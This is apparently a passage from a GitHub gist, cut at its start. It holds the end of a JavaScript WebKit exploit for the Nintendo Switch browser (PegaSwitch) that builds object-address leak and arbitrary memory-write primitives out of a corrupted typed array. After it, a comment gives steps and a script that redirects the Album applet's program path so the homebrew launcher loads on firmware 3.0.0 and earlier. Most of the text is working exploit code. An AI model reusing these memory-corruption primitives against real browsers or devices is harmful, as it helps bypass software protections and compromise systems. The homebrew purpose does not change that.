prop_2: 0, prop_3: 0,
prop_4: 0, prop_5: 0,
prop_6: 0, prop_7: 0,
});
}
for (var i = 0; i < (arr.length - 21); ++i) {
if (arr[i] == 0xdead && arr[i+1] == 0xffff0000) {
var objs_1_off = i - 6;
var objs_0_off = objs_1_off + 20;
break;
}
}
if (typeof objs_1_off === 'undefined') {
log('Could not locate our objects...');
return;
}
arr[objs_0_off+0] = 0x00000064;
arr[objs_0_off+1] = 0x01602400;
arr[objs_0_off+7] = 0;
while (!(objs[0] instanceof Uint32Array)) {
if (++arr[objs_0_off] >= 0x10000) {
log('Could not find structure ID...');
return;
}
}
function leak_obj(obj) {
objs[1].prop_0 = obj;
return [arr[objs_1_off+4], arr[objs_1_off+5]];
}
function write(addr, word, off) {
off = off >> 2;
arr[objs_0_off+4] = addr[0];
arr[objs_0_off+5] = addr[1];
arr[objs_0_off+6] = off + 1;
objs[0][off] = word;
}
var view_a = new Uint32Array(0);
var fobj_a = new Uint32Array(0);
var fobj_b = { b: 0 };
var view_a_addr = leak_obj(view_a);
var view_a_vect = leak_obj(fobj_a);
write(view_a_addr, view_a_vect[0], 0x10);
write(view_a_addr, view_a_vect[1], 0x14);
write(view_a_addr, 8, 0x18);
write(view_a_addr, 1, 0x1c);
view_a[7] = 1;
log('Success!');
loadRun({
va: view_a,
vb: fobj_a,
leakee: fobj_b,
leakaddr: leak_obj(fobj_b),
});
};

TuxSH Hey there, given plutoo has just made nsphax public, here's the unobfuscated PegaSwitch code you can use to launch the hbl reliably, on versions <= 3.0.0. I've been using that to test libnx-based homebrew on 2.1 (I don't have a 1.0 console, fwiw) for a while.

Instructions: 1) copy the NSP (a.k.a PFS0 file) to the desired path (if you've ran switchbrew's hbl installer, the hbl NSP is already there at @User:/.nsp) @Sdcard:/ paths should work fine as well. 2) run the following script 3) go back to the Home Menu and launch the Album applet

sc.getServices(["lr"], function (lr) {
    var path = utils.str2ab("@User:/.nsp"); /* path used by switchbrew's hbl installer */
    /* OR put your own hbl nsp on your SD card, for example:
        var path = utils.str2ab("@Sdcard:/my_nsp.nsp");
    */
    var tid  = [0x100D, 0x01000000];        /* TID of the Album applet */
    var storageId = 3;                      /* NAND (location of the Album applet) */

    var msg = sc.ipcMsg(0).data(storageId).sendTo(lr).assertOk(); /* nn::lr::ILocationResolverManager(StorageId storageId) => nn::lr::ILocationResolver */
    sc.withHandle(msg.movedHandles[0], (h) => {                   /* nn::lr::ILocationResolver::SetProgramNcaPath(u64 TID, const char *path) */
        msg = sc.ipcMsg(1).data(tid).xDescriptor(path, path.byteLength, 0).sendTo(h).assertOk();
    });
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment